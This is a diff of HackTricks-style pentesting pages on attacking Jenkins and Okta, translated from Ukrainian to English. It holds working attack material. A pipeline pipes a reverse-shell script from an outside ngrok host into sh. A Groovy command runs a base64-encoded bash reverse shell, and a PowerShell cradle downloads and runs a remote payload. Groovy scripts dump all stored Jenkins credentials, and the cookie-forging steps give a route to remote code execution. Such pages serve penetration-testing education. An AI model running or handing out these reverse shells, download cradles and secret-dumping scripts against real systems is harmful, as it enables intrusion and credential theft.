ls -l /var/lib/jenkins/*.xml
|
||||
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
|
||||
|
||||
# Per-job configs
|
||||
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
|
||||
```
|
||||
## Посилання
|
||||
## References
|
||||
|
||||
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
@@ -101,6 +90,8 @@ find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "pa
|
||||
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
|
||||
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
|
||||
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
|
||||
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,15 +2,15 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
У цьому блозі можна знайти чудовий спосіб перетворити вразливість Local File Inclusion в Jenkins на RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
In this blog post is possible to find a great way to transform a Local File Inclusion vulnerability in Jenkins into RCE: [https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/](https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/)
|
||||
|
||||
Це підсумок, створений штучним інтелектом, частини посту, де зловживання створенням довільного cookie використовується для отримання RCE, зловживаючи читанням локальних файлів, поки я не матиму часу створити підсумок самостійно:
|
||||
This is an AI created summary of the part of the post were the creaft of an arbitrary cookie is abused to get RCE abusing a local file read until I have time to create a summary on my own:
|
||||
|
||||
### Attack Prerequisites
|
||||
|
||||
- **Feature Requirement:** "Remember me" має бути увімкнено (налаштування за замовчуванням).
|
||||
- **Access Levels:** Зловмисник потребує загальних/читальних дозволів.
|
||||
- **Secret Access:** Можливість читати як бінарний, так і текстовий вміст з ключових файлів.
|
||||
- **Feature Requirement:** "Remember me" must be enabled (default setting).
|
||||
- **Access Levels:** Attacker needs Overall/Read permissions.
|
||||
- **Secret Access:** Ability to read both binary and textual content from key files.
|
||||
|
||||
### Detailed Exploitation Process
|
||||
|
||||
@@ -18,18 +18,18 @@
|
||||
|
||||
**User Information Retrieval**
|
||||
|
||||
- Отримати конфігурацію користувача та секрети з `$JENKINS_HOME/users/*.xml` для кожного користувача, щоб зібрати:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
- Access user configuration and secrets from `$JENKINS_HOME/users/*.xml` for each user to gather:
|
||||
- **Username**
|
||||
- **User seed**
|
||||
- **Timestamp**
|
||||
- **Password hash**
|
||||
|
||||
**Secret Key Extraction**
|
||||
|
||||
- Витягти криптографічні ключі, що використовуються для підписування cookie:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
- Extract cryptographic keys used for signing the cookie:
|
||||
- **Secret Key:** `$JENKINS_HOME/secret.key`
|
||||
- **Master Key:** `$JENKINS_HOME/secrets/master.key`
|
||||
- **MAC Key File:** `$JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac`
|
||||
|
||||
#### Step 2: Cookie Forging
|
||||
|
||||
@@ -37,69 +37,72 @@
|
||||
|
||||
- **Calculate Token Expiry Time:**
|
||||
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Додає одну годину до поточного часу
|
||||
```
|
||||
```javascript
|
||||
tokenExpiryTime = currentServerTimeInMillis() + 3600000 // Adds one hour to current time
|
||||
```
|
||||
|
||||
- **Concatenate Data for Token:**
|
||||
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
```javascript
|
||||
token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey
|
||||
```
|
||||
|
||||
**MAC Key Decryption**
|
||||
|
||||
- **Decrypt MAC Key File:**
|
||||
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Перетворити майстер-ключ у формат ключа AES128
|
||||
decrypted = AES.decrypt(macFile, key) // Розшифрувати .mac файл
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
```javascript
|
||||
key = toAes128Key(masterKey) // Convert master key to AES128 key format
|
||||
decrypted = AES.decrypt(macFile, key) // Decrypt the .mac file
|
||||
if not decrypted.hasSuffix("::::MAGIC::::")
|
||||
return ERROR;
|
||||
macKey = decrypted.withoutSuffix("::::MAGIC::::")
|
||||
```
|
||||
|
||||
**Signature Computation**
|
||||
|
||||
- **Compute HMAC SHA256:**
|
||||
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Обчислити HMAC, використовуючи токен і MAC-ключ
|
||||
tokenSignature = bytesToHexString(mac) // Перетворити MAC у шістнадцятковий рядок
|
||||
```
|
||||
```javascript
|
||||
mac = HmacSHA256(token, macKey) // Compute HMAC using the token and MAC key
|
||||
tokenSignature = bytesToHexString(mac) // Convert the MAC to a hexadecimal string
|
||||
```
|
||||
|
||||
**Cookie Encoding**
|
||||
|
||||
- **Generate Final Cookie:**
|
||||
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 кодувати дані cookie
|
||||
```
|
||||
```javascript
|
||||
cookie = base64.encode(
|
||||
username + ":" + tokenExpiryTime + ":" + tokenSignature
|
||||
) // Base64 encode the cookie data
|
||||
```
|
||||
|
||||
#### Step 3: Code Execution
|
||||
|
||||
**Session Authentication**
|
||||
|
||||
- **Fetch CSRF and Session Tokens:**
|
||||
- Зробити запит до `/crumbIssuer/api/json`, щоб отримати `Jenkins-Crumb`.
|
||||
- Захопити `JSESSIONID` з відповіді, який буде використовуватися разом з cookie "remember-me".
|
||||
- Make a request to `/crumbIssuer/api/json` to obtain `Jenkins-Crumb`.
|
||||
- Capture `JSESSIONID` from the response, which will be used in conjunction with the remember-me cookie.
|
||||
|
||||
**Command Execution Request**
|
||||
|
||||
- **Send a POST Request with Groovy Script:**
|
||||
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
```bash
|
||||
curl -X POST "$JENKINS_URL/scriptText" \
|
||||
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
|
||||
--header "Jenkins-Crumb: $CRUMB" \
|
||||
--header "Content-Type: application/x-www-form-urlencoded" \
|
||||
--data-urlencode "script=$SCRIPT"
|
||||
```
|
||||
|
||||
- Groovy скрипт може бути використаний для виконання команд на системному рівні або інших операцій у середовищі Jenkins.
|
||||
- Groovy script can be used to execute system-level commands or other operations within the Jenkins environment.
|
||||
|
||||
Приклад команди curl демонструє, як зробити запит до Jenkins з необхідними заголовками та cookie для безпечного виконання довільного коду.
|
||||
The example curl command provided demonstrates how to make a request to Jenkins with the necessary headers and cookies to execute arbitrary code securely.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -3,9 +3,10 @@
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
> [!WARNING]
|
||||
> Зверніть увагу, що ці скрипти лише перерахують секрети всередині файлу `credentials.xml`, але **файли конфігурації збірки** також можуть містити **додаткові облікові дані**.
|
||||
> Note that these scripts will only list the secrets inside the `credentials.xml` file, but **build configuration files** might also have **more credentials**.
|
||||
|
||||
You can **dump all the secrets from the Groovy Script console** in `/script` running this code
|
||||
|
||||
Ви можете **вивантажити всі секрети з консолі Groovy Script** в `/script`, запустивши цей код
|
||||
```java
|
||||
// From https://www.dennisotugo.com/how-to-view-all-jenkins-secrets-credentials/
|
||||
import jenkins.model.*
|
||||
@@ -41,45 +42,51 @@ showRow("something else", it.id, '', '', '')
|
||||
|
||||
return
|
||||
```
|
||||
#### або цей:
|
||||
|
||||
#### or this one:
|
||||
|
||||
```java
|
||||
import java.nio.charset.StandardCharsets;
|
||||
def creds = com.cloudbees.plugins.credentials.CredentialsProvider.lookupCredentials(
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
com.cloudbees.plugins.credentials.Credentials.class
|
||||
)
|
||||
|
||||
for (c in creds) {
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
println(c.id)
|
||||
if (c.properties.description) {
|
||||
println(" description: " + c.description)
|
||||
}
|
||||
if (c.properties.username) {
|
||||
println(" username: " + c.username)
|
||||
}
|
||||
if (c.properties.password) {
|
||||
println(" password: " + c.password)
|
||||
}
|
||||
if (c.properties.passphrase) {
|
||||
println(" passphrase: " + c.passphrase)
|
||||
}
|
||||
if (c.properties.secret) {
|
||||
println(" secret: " + c.secret)
|
||||
}
|
||||
if (c.properties.secretBytes) {
|
||||
println(" secretBytes: ")
|
||||
println("\n" + new String(c.secretBytes.getPlainData(), StandardCharsets.UTF_8))
|
||||
println("")
|
||||
}
|
||||
if (c.properties.privateKeySource) {
|
||||
println(" privateKey: " + c.getPrivateKey())
|
||||
}
|
||||
if (c.properties.apiToken) {
|
||||
println(" apiToken: " + c.apiToken)
|
||||
}
|
||||
if (c.properties.token) {
|
||||
println(" token: " + c.token)
|
||||
}
|
||||
println("")
|
||||
}
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,37 +1,42 @@
|
||||
# Jenkins RCE Створення/Модифікація Пайплайну
|
||||
# Jenkins RCE Creating/Modifying Pipeline
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Створення нового Пайплайну
|
||||
## Creating a new Pipeline
|
||||
|
||||
У "Новий елемент" (доступний за адресою `/view/all/newJob`) виберіть **Пайплайн:**
|
||||
In "New Item" (accessible in `/view/all/newJob`) select **Pipeline:**
|
||||
|
||||
.png>)
|
||||
|
||||
У **розділі Пайплайн** напишіть **реверсну оболонку**:
|
||||
In the **Pipeline section** write the **reverse shell**:
|
||||
|
||||
.png>)
|
||||
|
||||
```groovy
|
||||
pipeline {
|
||||
agent any
|
||||
agent any
|
||||
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
stages {
|
||||
stage('Hello') {
|
||||
steps {
|
||||
sh '''
|
||||
curl https://reverse-shell.sh/0.tcp.ngrok.io:16287 | sh
|
||||
'''
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
Нарешті натисніть **Зберегти**, а потім **Запустити зараз**, і конвеєр буде виконано:
|
||||
|
||||
Finally click on **Save**, and **Build Now** and the pipeline will be executed:
|
||||
|
||||
.png>)
|
||||
|
||||
## Модифікація конвеєра
|
||||
## Modifying a Pipeline
|
||||
|
||||
Якщо ви можете отримати доступ до файлу конфігурації деякого налаштованого конвеєра, ви можете просто **модифікувати його, додавши ваш зворотний шелл**, а потім виконати його або дочекатися, поки він буде виконаний.
|
||||
If you can access the configuration file of some pipeline configured you could just **modify it appending your reverse shell** and then execute it or wait until it gets executed.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,36 +1,39 @@
|
||||
# Jenkins RCE Створення/Модифікація Проекту
|
||||
# Jenkins RCE Creating/Modifying Project
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Створення Проекту
|
||||
## Creating a Project
|
||||
|
||||
Цей метод дуже шумний, оскільки вам потрібно створити абсолютно новий проект (очевидно, це спрацює лише якщо ваш користувач має право створювати новий проект).
|
||||
This method is very noisy because you have to create a hole new project (obviously this will only work if you user is allowed to create a new project).
|
||||
|
||||
1. **Створіть новий проект** (Freestyle project), натиснувши "New Item" або в `/view/all/newJob`
|
||||
2. У розділі **Build** встановіть **Execute shell** і вставте запускник powershell Empire або meterpreter powershell (можна отримати за допомогою _unicorn_). Запустіть payload з _PowerShell.exe_ замість _powershell._
|
||||
3. Натисніть **Build now**
|
||||
1. Якщо кнопка **Build now** не з'являється, ви все ще можете перейти до **configure** --> **Build Triggers** --> `Build periodically` і встановити cron на `* * * * *`
|
||||
2. Замість використання cron, ви можете використовувати конфігурацію "**Trigger builds remotely**", де вам просто потрібно встановити ім'я токена API для запуску роботи. Потім перейдіть до свого профілю користувача і **згенеруйте токен API** (назвіть цей токен API так, як ви назвали токен API для запуску роботи). Нарешті, запустіть роботу з: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
1. **Create a new project** (Freestyle project) clicking "New Item" or in `/view/all/newJob`
|
||||
2. Inside **Build** section set **Execute shell** and paste a powershell Empire launcher or a meterpreter powershell (can be obtained using _unicorn_). Start the payload with _PowerShell.exe_ instead using _powershell._
|
||||
3. Click **Build now**
|
||||
1. If **Build now** button doesn't appear, you can still go to **configure** --> **Build Triggers** --> `Build periodically` and set a cron of `* * * * *`
|
||||
2. Instead of using cron, you can use the config "**Trigger builds remotely**" where you just need to set a the api token name to trigger the job. Then go to your user profile and **generate an API token** (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **`curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>`**
|
||||
|
||||
.png>)
|
||||
|
||||
## Модифікація Проекту
|
||||
## Modifying a Project
|
||||
|
||||
Перейдіть до проектів і перевірте **чи можете ви налаштувати будь-який** з них (шукайте кнопку "Configure"):
|
||||
Go to the projects and check **if you can configure any** of them (look for the "Configure button"):
|
||||
|
||||
.png>)
|
||||
|
||||
Якщо ви **не можете** побачити жодної **кнопки конфігурації**, то ви **не можете** **налаштувати** його, ймовірно (але перевірте всі проекти, оскільки ви можете налаштувати деякі з них, а не інші).
|
||||
If you **cannot** see any **configuration** **button** then you **cannot** **configure** it probably (but check all projects as you might be able to configure some of them and not others).
|
||||
|
||||
Або **спробуйте отримати доступ до шляху** `/job/<proj-name>/configure` або `/me/my-views/view/all/job/<proj-name>/configure` \_\_ в кожному проекті (приклад: `/job/Project0/configure` або `/me/my-views/view/all/job/Project0/configure`).
|
||||
Or **try to access to the path** `/job/<proj-name>/configure` or `/me/my-views/view/all/job/<proj-name>/configure` \_\_ in each project (example: `/job/Project0/configure` or `/me/my-views/view/all/job/Project0/configure`).
|
||||
|
||||
## Виконання
|
||||
## Execution
|
||||
|
||||
Якщо вам дозволено налаштувати проект, ви можете **зробити так, щоб він виконував команди, коли збірка успішна**:
|
||||
If you are allowed to configure the project you can **make it execute commands when a build is successful**:
|
||||
|
||||
.png>)
|
||||
|
||||
Натисніть **Save** і **build** проект, і ваша **команда буде виконана**.\
|
||||
Якщо ви не виконуєте зворотний shell, а просто команду, ви можете **бачити вихід команди всередині виходу збірки**.
|
||||
Click on **Save** and **build** the project and your **command will be executed**.\
|
||||
If you are not executing a reverse shell but a simple command you can **see the output of the command inside the output of the build**.
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,24 +1,27 @@
|
||||
# Jenkins RCE з Groovy Script
|
||||
# Jenkins RCE with Groovy Script
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Jenkins RCE з Groovy Script
|
||||
## Jenkins RCE with Groovy Script
|
||||
|
||||
Це менш помітно, ніж створення нового проекту в Jenkins
|
||||
This is less noisy than creating a new project in Jenkins
|
||||
|
||||
1. Go to _path_jenkins/script_
|
||||
2. Inside the text box introduce the script
|
||||
|
||||
1. Перейдіть до _path_jenkins/script_
|
||||
2. Введіть скрипт у текстове поле
|
||||
```python
|
||||
def process = "PowerShell.exe <WHATEVER>".execute()
|
||||
println "Found text ${process.text}"
|
||||
```
|
||||
Ви можете виконати команду за допомогою: `cmd.exe /c dir`
|
||||
|
||||
В **linux** ви можете зробити: **`"ls /".execute().text`**
|
||||
You could execute a command using: `cmd.exe /c dir`
|
||||
|
||||
Якщо вам потрібно використовувати _лапки_ та _одинарні лапки_ всередині тексту. Ви можете використовувати _"""PAYLOAD"""_ (три подвійні лапки), щоб виконати корисне навантаження.
|
||||
In **linux** you can do: **`"ls /".execute().text`**
|
||||
|
||||
If you need to use _quotes_ and _single quotes_ inside the text. You can use _"""PAYLOAD"""_ (triple double quotes) to execute the payload.
|
||||
|
||||
**Another useful groovy script** is (replace \[INSERT COMMAND]):
|
||||
|
||||
**Ще один корисний groovy скрипт** це (замініть \[INSERT COMMAND]):
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = '[INSERT COMMAND]'.execute()
|
||||
@@ -26,7 +29,9 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
### Зворотний шелл у Linux
|
||||
|
||||
### Reverse shell in linux
|
||||
|
||||
```python
|
||||
def sout = new StringBuffer(), serr = new StringBuffer()
|
||||
def proc = 'bash -c {echo,YmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC4yMi80MzQzIDA+JjEnCg==}|{base64,-d}|{bash,-i}'.execute()
|
||||
@@ -34,20 +39,28 @@ proc.consumeProcessOutput(sout, serr)
|
||||
proc.waitForOrKill(1000)
|
||||
println "out> $sout err> $serr"
|
||||
```
|
||||
### Зворотний шелл у Windows
|
||||
|
||||
Ви можете підготувати HTTP сервер з PS зворотним шеллом і використовувати Jeking для його завантаження та виконання:
|
||||
### Reverse shell in windows
|
||||
|
||||
You can prepare a HTTP server with a PS reverse shell and use Jeking to download and execute it:
|
||||
|
||||
```python
|
||||
scriptblock="iex (New-Object Net.WebClient).DownloadString('http://192.168.252.1:8000/payload')"
|
||||
echo $scriptblock | iconv --to-code UTF-16LE | base64 -w 0
|
||||
cmd.exe /c PowerShell.exe -Exec ByPass -Nol -Enc <BASE64>
|
||||
```
|
||||
### Скрипт
|
||||
|
||||
Ви можете автоматизувати цей процес за допомогою [**цього скрипта**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
### Script
|
||||
|
||||
You can automate this process with [**this script**](https://github.com/gquere/pwn_jenkins/blob/master/rce/jenkins_rce_admin_script.py).
|
||||
|
||||
You can use MSF to get a reverse shell:
|
||||
|
||||
Ви можете використовувати MSF для отримання зворотного шеллу:
|
||||
```
|
||||
msf> use exploit/multi/http/jenkins_script_console
|
||||
```
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,113 +2,116 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## Основна інформація
|
||||
## Basic Information
|
||||
|
||||
[Okta, Inc.](https://www.okta.com/) визнана в секторі управління ідентичністю та доступом за своїми хмарними програмними рішеннями. Ці рішення призначені для спрощення та забезпечення автентифікації користувачів у різних сучасних додатках. Вони орієнтовані не лише на компанії, які прагнуть захистити свої чутливі дані, але й на розробників, які зацікавлені в інтеграції контролю ідентичності в додатки, веб-сервіси та пристрої.
|
||||
[Okta, Inc.](https://www.okta.com/) is recognized in the identity and access management sector for its cloud-based software solutions. These solutions are designed to streamline and secure user authentication across various modern applications. They cater not only to companies aiming to safeguard their sensitive data but also to developers interested in integrating identity controls into applications, web services, and devices.
|
||||
|
||||
Флагманським продуктом Okta є **Okta Identity Cloud**. Ця платформа охоплює набір продуктів, включаючи, але не обмежуючись:
|
||||
The flagship offering from Okta is the **Okta Identity Cloud**. This platform encompasses a suite of products, including but not limited to:
|
||||
|
||||
- **Single Sign-On (SSO)**: Спрощує доступ користувачів, дозволяючи використовувати один набір облікових даних для кількох додатків.
|
||||
- **Multi-Factor Authentication (MFA)**: Підвищує безпеку, вимагаючи кілька форм перевірки.
|
||||
- **Lifecycle Management**: Автоматизує процеси створення, оновлення та деактивації облікових записів користувачів.
|
||||
- **Universal Directory**: Дозволяє централізоване управління користувачами, групами та пристроями.
|
||||
- **API Access Management**: Захищає та управляє доступом до API.
|
||||
- **Single Sign-On (SSO)**: Simplifies user access by allowing one set of login credentials across multiple applications.
|
||||
- **Multi-Factor Authentication (MFA)**: Enhances security by requiring multiple forms of verification.
|
||||
- **Lifecycle Management**: Automates user account creation, update, and deactivation processes.
|
||||
- **Universal Directory**: Enables centralized management of users, groups, and devices.
|
||||
- **API Access Management**: Secures and manages access to APIs.
|
||||
|
||||
Ці послуги колективно спрямовані на зміцнення захисту даних та спрощення доступу користувачів, підвищуючи як безпеку, так і зручність. Універсальність рішень Okta робить їх популярним вибором у різних галузях, корисним для великих підприємств, малих компаній та окремих розробників. Станом на останнє оновлення у вересні 2021 року, Okta визнана видатною компанією в сфері управління ідентичністю та доступом (IAM).
|
||||
These services collectively aim to fortify data protection and streamline user access, enhancing both security and convenience. The versatility of Okta's solutions makes them a popular choice across various industries, beneficial to large enterprises, small companies, and individual developers alike. As of the last update in September 2021, Okta is acknowledged as a prominent entity in the Identity and Access Management (IAM) arena.
|
||||
|
||||
> [!CAUTION]
|
||||
> Основна мета Okta - налаштувати доступ до різних користувачів і груп до зовнішніх додатків. Якщо вам вдасться **компрометувати привілеї адміністратора в середовищі Oktas**, ви, ймовірно, зможете **компрометувати всі інші платформи, які використовує компанія**.
|
||||
> The main gola of Okta is to configure access to different users and groups to external applications. If you manage to **compromise administrator privileges in an Oktas** environment, you will highly probably able to **compromise all the other platforms the company is using**.
|
||||
|
||||
> [!TIP]
|
||||
> Для проведення перевірки безпеки середовища Okta вам слід запитати **доступ адміністратора тільки для читання**.
|
||||
> To perform a security review of an Okta environment you should ask for **administrator read-only access**.
|
||||
|
||||
### Резюме
|
||||
### Summary
|
||||
|
||||
Є **користувачі** (які можуть бути **збережені в Okta,** увійшли з налаштованих **постачальників ідентичності** або автентифіковані через **Active Directory** або LDAP).\
|
||||
Ці користувачі можуть бути в **групах**.\
|
||||
Є також **автентифікатори**: різні варіанти автентифікації, такі як пароль, та кілька 2FA, таких як WebAuthn, електронна пошта, телефон, okta verify (вони можуть бути увімкнені або вимкнені)...
|
||||
There are **users** (which can be **stored in Okta,** logged from configured **Identity Providers** or authenticated via **Active Directory** or LDAP).\
|
||||
These users can be inside **groups**.\
|
||||
There are also **authenticators**: different options to authenticate like password, and several 2FA like WebAuthn, email, phone, okta verify (they could be enabled or disabled)...
|
||||
|
||||
Потім є **додатки**, синхронізовані з Okta. Кожен додаток матиме певне **відображення з Okta** для обміну інформацією (такою як адреси електронної пошти, імена...). Більше того, кожен додаток повинен бути в **Політиці автентифікації**, яка вказує на **необхідні автентифікатори** для користувача, щоб **отримати доступ** до додатка.
|
||||
Then, there are **applications** synchronized with Okta. Each applications will have some **mapping with Okta** to share information (such as email addresses, first names...). Moreover, each application must be inside an **Authentication Policy**, which indicates the **needed authenticators** for a user to **access** the application.
|
||||
|
||||
> [!CAUTION]
|
||||
> Найбільш потужна роль - **Super Administrator**.
|
||||
> The most powerful role is **Super Administrator**.
|
||||
>
|
||||
> Якщо зловмисник компрометує Okta з доступом адміністратора, всі **додатки, які довіряють Okta**, ймовірно, будуть **компрометовані**.
|
||||
> If an attacker compromise Okta with Administrator access, all the **apps trusting Okta** will be highly probably **compromised**.
|
||||
|
||||
## Атаки
|
||||
## Attacks
|
||||
|
||||
### Локалізація порталу Okta
|
||||
### Locating Okta Portal
|
||||
|
||||
Зазвичай портал компанії буде розташований за адресою **companyname.okta.com**. Якщо ні, спробуйте прості **варіації** **companyname.** Якщо ви не можете його знайти, також можливо, що організація має запис **CNAME** на кшталт **`okta.companyname.com`**, що вказує на **портал Okta**.
|
||||
Usually the portal of a company will be located in **companyname.okta.com**. If not, try simple **variations** of **companyname.** If you cannot find it, it's also possible that the organization has a **CNAME** record like **`okta.companyname.com`** pointing to the **Okta portal**.
|
||||
|
||||
### Увійти в Okta через Kerberos
|
||||
### Login in Okta via Kerberos
|
||||
|
||||
Якщо **`companyname.kerberos.okta.com`** активний, **Kerberos використовується для доступу до Okta**, зазвичай обходячи **MFA** для **Windows** користувачів. Щоб знайти користувачів Okta, автентифікованих через Kerberos в AD, запустіть **`getST.py`** з **відповідними параметрами**. Отримавши **квиток користувача AD**, **впровадьте** його в контрольований хост, використовуючи такі інструменти, як Rubeus або Mimikatz, переконавшись, що **`clientname.kerberos.okta.com` знаходиться в зоні "Інтранет" параметрів Інтернету**. Доступ до конкретного URL повинен повернути JSON-відповідь "OK", що вказує на прийняття квитка Kerberos і надає доступ до панелі управління Okta.
|
||||
If **`companyname.kerberos.okta.com`** is active, **Kerberos is used for Okta access**, typically bypassing **MFA** for **Windows** users. To find Kerberos-authenticated Okta users in AD, run **`getST.py`** with **appropriate parameters**. Upon obtaining an **AD user ticket**, **inject** it into a controlled host using tools like Rubeus or Mimikatz, ensuring **`clientname.kerberos.okta.com` is in the Internet Options "Intranet" zone**. Accessing a specific URL should return a JSON "OK" response, indicating Kerberos ticket acceptance, and granting access to the Okta dashboard.
|
||||
|
||||
Компрометація **облікового запису служби Okta з делегованим SPN дозволяє провести атаку Silver Ticket.** Однак використання Okta **AES** для шифрування квитків вимагає наявності ключа AES або пароля у відкритому вигляді. Використовуйте **`ticketer.py`, щоб згенерувати квиток для жертви** і доставити його через браузер для автентифікації в Okta.
|
||||
Compromising the **Okta service account with the delegation SPN enables a Silver Ticket attack.** However, Okta's use of **AES** for ticket encryption requires possessing the AES key or plaintext password. Use **`ticketer.py` to generate a ticket for the victim user** and deliver it via the browser to authenticate with Okta.
|
||||
|
||||
**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Викрадення агента AD Okta
|
||||
### Hijacking Okta AD Agent
|
||||
|
||||
Ця техніка передбачає **доступ до агента AD Okta на сервері**, який **синхронізує користувачів і обробляє автентифікацію**. Вивчаючи та розшифровуючи конфігурації в **`OktaAgentService.exe.config`**, зокрема AgentToken, використовуючи **DPAPI**, зловмисник може потенційно **перехоплювати та маніпулювати даними автентифікації**. Це дозволяє не лише **моніторити** та **захоплювати облікові дані користувачів** у відкритому вигляді під час процесу автентифікації Okta, але й **відповідати на спроби автентифікації**, що дозволяє несанкціонований доступ або надає універсальну автентифікацію через Okta (подібно до "скелетного ключа").
|
||||
This technique involves **accessing the Okta AD Agent on a server**, which **syncs users and handles authentication**. By examining and decrypting configurations in **`OktaAgentService.exe.config`**, notably the AgentToken using **DPAPI**, an attacker can potentially **intercept and manipulate authentication data**. This allows not only **monitoring** and **capturing user credentials** in plaintext during the Okta authentication process but also **responding to authentication attempts**, thereby enabling unauthorized access or providing universal authentication through Okta (akin to a 'skeleton key').
|
||||
|
||||
**Перевірте атаку в** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
**Check the attack in** [**https://trustedsec.com/blog/okta-for-red-teamers**](https://trustedsec.com/blog/okta-for-red-teamers)**.**
|
||||
|
||||
### Викрадення AD як адміністратор
|
||||
### Hijacking AD As an Admin
|
||||
|
||||
